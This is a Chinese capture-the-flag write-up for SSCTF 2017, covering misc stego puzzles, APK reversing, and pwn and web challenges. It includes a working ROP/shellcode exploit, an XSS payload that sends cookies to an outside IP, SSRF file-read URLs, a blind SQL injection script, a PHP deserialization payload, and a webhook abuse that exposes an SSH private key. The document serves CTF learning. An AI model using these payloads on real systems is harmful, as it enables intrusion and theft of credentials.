ssctf2017_WriteUp

时间:2022-05-06
本文章向大家介绍ssctf2017_WriteUp,主要内容包括【 杂项 】、flag在哪里、互相伤害!!!、我们的秘密是绿色的、你知道我在等你么、【 逆向 】、Login、【 pwn 】、【 web 】、弹幕、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。
ssctf2017_WriteUp

From ChaMd5安全团队核心成员 pcat&poyoten&lncken

【 杂项 】

签到

Z2dRQGdRMWZxaDBvaHRqcHRfc3d7Z2ZoZ3MjfQ==

先base64解码得到ggQ@gQ1fqh0ohtjpt_sw{gfhgs#}

一看格式,无非是凯撒+栅栏,解题关键是flag格式ssctf{},所以先凯撒得到

ssC@sC1rct0atfvbf_ei{srtse#}

栅栏得到ssctf{ssCtf_seC10ver#@rabit}

flag在哪里

这题提供了一个网址http://60.191.205.87/,进去后点击DownLoad下载pcap数据包,如果只是单纯的数据包的话,直接提供一个下载链接即可,而提供了一个网址,很明显后面需要用到,在做题的时候先记下这个网址。

做数据包题目的时候,我一般都是先看数据包大概什么协议,如果有http的话,就直接导出http对象,然后观看有什么特别之处(一般藏匿着什么zip包或者什么配置文件)

这里看到git-upload-pack字样,.nijiakadaye、config字样,很大可能是git泄露,尝试下浏览器访问http://60.191.205.87/.nijiakadaye

forbidden总比404好,再访问http://60.191.205.87/.nijiakadaye/confighttp://60.191.205.87/.nijiakadaye/index都有料,于是不用想了,直接上githack神器,神器哪家强呢?直接找四叶草的bugscan车库

打开我的kali,输入如下

git clone https://github.com/BugScanTeam/GitHackcd GitHackpython GitHack.py http://60.191.205.87/.nijiakadaye/#漫长的等待cd dist/60.191.205.87#然后就是git命令看看历史提交记录git log -u

看到

直接提交红色ssctf{}内的不行,那么继续看下去

原本以为要自己写个解密脚本,结果仔细观看后发现$data只参与异或运算,于是wtf()直接当解密函数即可,然后$pwd取ssctf而不是wodegea,脚本如下,运行后得到flag

互相伤害!!!

下载的yi.zip,解压后的文件没后缀,先用binwalk和file来观看

又一个pcap包(而且有大量jpg和zip,不得不说binwalk神器就是这么好用),于是自己加了一个.pcap后缀后用wireshark打开,并且同样的套路,先导出http对象

这里只有jpg文件,而没有zip文件,很明显zip就是藏匿在jpg里

为了方便操作,我修改了名字,然后使用binwalk–e 图片名.jpg (由于我懒,我就不写个shell命令)

结果在“互相伤害”那图下的zip包无法解压,是加密的,而其他20个zip解压后(binwalk –e会自动解压)都是相同的二维码(内容大概是“四叶草出题人真帅”之类的话语,←_←)

对于加密的压缩包一般的思路:弱密码字典、位数少的则暴力破解、伪加密、明文攻击,以及常见的把密码藏匿在各种地方(这也是脑洞的考验)

经过排查后,焦点落在这图:

其中的二维码一开始我扫描不出,后来我知道ssctf的出题套路,凡是二维码的扫描,你一个扫描不出,就换别的扫描,总之手机自带扫描、微信扫描、qq扫描轮着来一波,肯定可以扫出来。

二维码内容:

U2FsdGVkX1+VpmdLwwhbyNU80MDlK+8t61sewce2qCVztitDMKpQ4fUl5nsAZOI7bE9uL8lW/KLfbs33aC1XXw==

看到U2Fsd头,按照我个人的过往经验,一般是aes加盐,而且我也大概猜到出题人很大可能是用网页上的加密,于是我默默地打开自己的收藏夹,

http://tool.chinaz.com/Tools/textencrypt.aspx

把密文填写在右边,选择AES,先试试不填写密码的情况下能否解密,结果不能,然后观看上图有一个红色显眼的CTF字样,于是就填写上去试试看,果不其然顺利解密

得到668b13e0b0fc0944daf4c223b9831e49,查无记录,那么就拿去解压那个加密压缩包吧,顺利解压得到如下二维码

想都不用想,放大,然后反色(都是老套路而已),扫描中间就得到结果。

我们的秘密是绿色的

一开始拿到图后我是看看有什么敏感的字符串或者lsb对RGB的G位看看有什么特别,结果都无果。

之后,我在网上找到原图,然后对比后,比赛的图片只是后面多了1228字节,但是琢磨不透。而题目中“我们的秘密”,之前陕西的比赛有一个类似的隐写题目,就是用了Our Secret这隐写软件,而最关键是密码,我先后试了“green”、“绿色”、“绿色的”、“Clover”、“clover”等都不行。

最后要聚焦到图片上,把绿色的数字合起来就是“0405111218192526”,然后得到一个try.zip,注释为“你知道coffee的生日是多少么~~~”,生日密码的用工具爆破即可,得到readme.txt和加密的flag.zip,而flag.zip里有readme.txt,想都不想直接上明文攻击,把readme.txt用winrar压缩成readme.zip去攻击即可得到密钥为Y29mZmVl,然后里层flag.zip照样有密码,把Y29mZmVl解码为coffee,又是一层加密,都做到这里了,使用套路,上伪加密ZipCenOp.jar r flag.zip即可,得到qddpqwnpcplen%prqwn_{_zz*d@gq}

套路继续上,凯撒+栅栏,这里关键是flag格式为flag{},所以凯撒为fsseflcereatc%egflc_{_oo*s@vf},栅栏得到flag{ssctf_@seclover%coffee_*}

你知道我在等你么

music.zip解压后是mp3,对于我这个binwalk狂魔,

是骡子还是马,binwalk一上就知晓,改为.zip然后解压得到

coffee.zip是加密的,图片里的二维码依然只要微信、qq、手机扫描来一波就可以扫出是“神龙摆尾”大概的字样,此时在心里搜刮下成语含义,大概可能就是指要我们关注文件尾部,所以大概的猜测音乐不需要音频隐写(说是这么说,其实该有的音频隐写套路我都有去做一遍),用winhex打开,看末尾,得到压缩包密码

解压后是一张coffee.jpg,然后我又傻傻地做了各种试探,最后其实还是得老套路,在winhex里搜索到coffee字样

再结合binwalk可以看到coffee.jpg后面有png图片常见的zlib头,所以把coffee开头至结尾截取出来另存为png文件,把文件头前8位修改为png文件头即可打开,扫描后得到一个文件下载地址,下载后经过识别是zip包,然后猜测是伪加密,用ZipCenOp.jar来解密即可

解开后是

a2V5aXMlN0JzZWMxb3ZlciUyNV82dWdzY2FuX0Bjb2ZmZWUlN0Q=

【 逆向 】

加密勒索软件

题目提供一个APK和一个excel文件。APK算法流程比较明晰:先取签名的md5值,进行SHA计算得40字节的HEX串,再进行变换和加key的变换,最终得出加密文件的40字节加密串。说是文件加密其实只是将文件的第256*n+1个字节数据与加密串循环异或。研究了一阵加密串的算法,似乎是不可逆。虽然APK中已经给出key是6位,但是由于涉及到文件读写,似乎直接爆破不是个好办法。由于或者的数据不多,而且分隔较开,而电子表格文件也是有一定格式的,看看能不能通过特殊位置的值反算出一部分的加密串,然后就可以爆密码了。通过zip文件格式及文件名、连续的00字节,果然就得出一部分的加密串。

103,87,40, ,117,103, ,40,40, ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,
  ,  ,  ,  ,  ,40,40,117,103,87,  ,40,  ,  ,87,  ,  ,117

这样再爆破就没有创建大量文件的问题了。再细看下,似乎加密串的数值比较单一,也有某种规律性。试了下103,87,40,40,1175个字节重复扩展成40位满足上面的格式。于是乎解了试试。

import java.io.File;  

import java.io.FileInputStream;  

import java.io.FileNotFoundException;  

import java.io.FileOutputStream;  

import java.io.IOException;  

import java.io.InputStreamReader; 



public class key {

    

    public static void main(String[] args){

        byte[] k2 = {103,87,40,40 ,117,103,87,40,40,117,103,87,40,40, 

                117,103,87,40,40,117,103,87,40,40,117,103,87,40,40,

                117,103,87,40,40,117,103,87,40,40,117};

        System.out.println(Arrays.toString(k1)); 

        System.out.println(k1.length);  

        File v2 = new File("d:/","ctf1_encode.xlsx");

        if(v2.exists()) {

            try {

                FileOutputStream v5 = new FileOutputStream(new File("d:/","ctf1.xlsx"));

                FileInputStream v4 = new FileInputStream(v2);

                byte[] v11 = new byte[v4.available()];

                v4.read(v11);

                int v6;

                for(v6 = 0; v6 < v11.length; v6 += 256) {

                    v11[v6] = ((byte)(v11[v6] ^ k2[v6 % k2.length]));

                }



                v5.write(v11);

                v5.close();

                v4.close();

                //v2.delete();

               

            }

            catch(Exception v1) {

                System.out.println("error");

            }

        }

    }

}

电子表格打开正常,得到图片中的flag:SSCTF{G0odJo13!}

Login

直接上Android Killer

关键在JinTest里

里面System.loadLibrary("test");

把lib/armeabi-v7a/libtest.so丢入IDA中,

逻辑很复杂,直接丢脚本

得到VVe1lD0ne^-^

【 pwn 】

Pwn2

这个题静态编译,无动态库。流程比较简单,其实题目也简单。

int __cdecl main(int argc, const char **argv, const char **envp)

{

  char v3; // ST04_1@1

  char v4; // ST04_1@1

  int v6; // [sp+Ch] [bp-Ch]@1



  setbuf(stdin, 0);

  setbuf(stdout, 0);

  setbuf(stderr, 0);

  printf("SSCTF[InPut Data Size]", v3);

  _isoc99_scanf("%d", (unsigned int)&v6);

  temp = malloc(v6);

  printf("SSCTF[YourData]", v4);

  read(0, temp, v6);

  puts("[Ok!]");

  print(temp, v6);

  return 0;

}



int __cdecl print(int a1, int a2)

{

  char v3; // [sp+Eh] [bp-3Ah]@1



  memcpy(&v3, a1, a2);

  return puts(&v3);

}

溢出点在print函数的memcpy调用处,a2是输入控制的堆大小,当堆大小大于v3到当前栈底就会发生溢出,而且保护只有NX,通过覆盖print的返回就能构造ROP,又由于没有动态库,所以只能上shellcode了。先找一块内存区域用mprotect更改内存属性,再用read将shellcode写入目标区域,最后返回到目标区域执行shellcode。利用代码如下:

#!/usr/bin/env python2

# -*- coding:utf-8 -*-

from pwn import *



# switches



if len(sys.argv) == 1:

    DEBUG = 1 

else :

    DEBUG = 0

# modify this

if DEBUG:

    io = process('./250')

    #gdb.attach(io,'#b main')

else:

    io = remote(sys.argv[1], int(sys.argv[2]))



context(log_level='debug')



mprotect = 0x0806E070

main_addr = 0x08048886

read = 0x0806D510

stack = 0x08049000

size = 0x1000

prop = 7



def pwn():

    io.recvuntil('[InPut Data Size]')

    io.sendline('82')

    io.recvuntil('[YourData]')

    payload1 = 'A' * 62+p32(mprotect)+p32(main_addr)+p32(stack)+p32(size)+p32(prop) 

    io.send(payload1)

    io.recvuntil('[InPut Data Size]')

    io.sendline('90')

    io.recvuntil('[YourData]')

    shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x89xcax6ax0bx58xcdx80"

    ssize = len(shellcode)

    payload2 = 'A' * 62+p32(read)+p32(stack)+p32(0)+p32(stack)+p32(ssize)+'THE END!'

    io.send(payload2)

    #io.recvuntil('THE END!')

    raw_input('send?')

    io.send(shellcode)

    io.interactive()

    return



if __name__ == '__main__':

    pwn()

【 web 】

捡吗?

一开始进去,右键查看源码

<div align="center"><img src="./news.php?url=127.0.0.1/img.jpg">

这里可以包含内网的文件

一开始我也不知道具体内网是哪里,而且大家也是疯狂的扫描,到最后官方直接给服务器地址,那么我也就容易解题了。

经过多番测试,协议名过滤的是全大写或者全小写,所以大小写混合就绕过

弹幕

http://117.34.71.7/打开后,可以发弹幕,一开始玩了不少,一直没什么头绪,直至我在一直打开的BurpSuite的http history里观测到xssHentai页面

以admin和admin去登录成功(后来发现都可以随便登录),进去后

构造各种xss,折腾一番后,最后能打到的显示

if uid = 154you will see flag

最后发现是链接的问题,必须是/xssHentai/request/1/?body(也就是这里的1决定了uid)

payload如下

http://117.34.71.7/xssHentai/request/1/?body=%3Cscript%3E%24.get(%22http%3a%2f%2f118.89.101.169:30%2f%3fflag%3D%22%2bdocument.cookie)%3C%2fscript%3E

flag就会在cookies里

白吗?都是套路

还没想好怎么说,我觉得残废不帅了

找到个readme.txt:

修改根目录l.php

1.修改相关Web容器信息

2.修改物理路径为linux路径

3.删除windows关键字

部署完成后删除根目录sql.sql、flag、pass文件

默认数据库密码为空,数据库名为ctf1

需要写的脚本

1.数据库中每增加一条ID,访问一次

找到wwwroot.zip,明文攻击

可惜我在主页上下载的图片其大小不对(后来我也知道压缩包里的图片是如何处理的),不过我还是没放过明文攻击,最后我下载到了phpMyAdmin/js/functions.js,一开始用winrar进行压缩后,明文攻击不了,之后我换好压来压缩,就明文攻击成功,密码是显示不出(至少32位以上),但可以保存解密后的文件,可恶的是文件都是假的,套路!套路!!!

各种折腾后,发现存在phpinfo.php,由此确定了绝对路径.

实际上,结合之前过的web1的payload,使用file协议

submit.php

view-source:http://120.132.21.19/news.php?url=Http://10.23.173.190/news.php?url=fILe:///var/www/submit.php

在submit.php里测试提交sub,没想到收到了回显,得到后台地址,

web1里有漏洞可以直接读web3得后台,获得源码,然后读js.php就是flag。

view-source:http://120.132.21.19/news.php?url=Http://10.23.173.190/news.php?url=FIle:///var/www//admin/b9557ee76eeb61cadda090855a47d266-1.php
view-source:http://120.132.21.19/news.php?url=Http://10.23.173.190/news.php?url=fILe:///var/www/admin/js.php

CloverSec Logos

picture.php有注入

盲注,一万个曹尼玛

import requests

s = requests.session()

ll = "1234567890qwertyuiopasdfghjklzxcvbnm"

username = ""

for j in range(1,32):

    print j

    for i in ll:

        url = 'http://60.191.205.80/picture.php?id=1"%26%26substr((select(passwoorrd)from(user)where(id=1)),'+str(j)+',1)="'+i

        # print url

        # username = ""

        r = s.get(url)

        # print r.text

        if "Picture  not found" not in r.text:

            username = username + i

            print username

            break

得到admin的密码,20位:14aceb3fc5992cef3d97

解出来密码:admin^g

接着是反序列化

直接贴payload吧

http://60.191.205.80?action=imformation&secret=php://inputpost 1234token=O:+4:"Read":1:{s:4:"file";s:16:"./ssctf_flag.php";}

webhook

代码审计

需要知道secretkey才能addrepo,

出于对赵哥智商的怀疑猜测secretkey是ssctf

那么本地跑一下,线上构造一个git,配合addrepo生成一个key

/addrepo?repo=pseudo&key=415f348a94d8b8b2a96de61744c8e090&url=https://github.com/pseudo2015/pseudo.git&pass=pseudo9987

然后就可以构造json请求

{"repository":{"name":"pseudo"},"ref":"refs/heads/aa","before":"{repos}"}

接着登陆查看log

通过构造build.json可以读任意目录

根据代码得到flag项目应该在../flag/

读回来发现各个分支都没有

再读文件找到/home/www-data/.ssh/里有用户私钥

添加到本机上,然后git pull获得flag.txt

SSCTF{02d6d06ec9e35d11d1f421a400edbb06}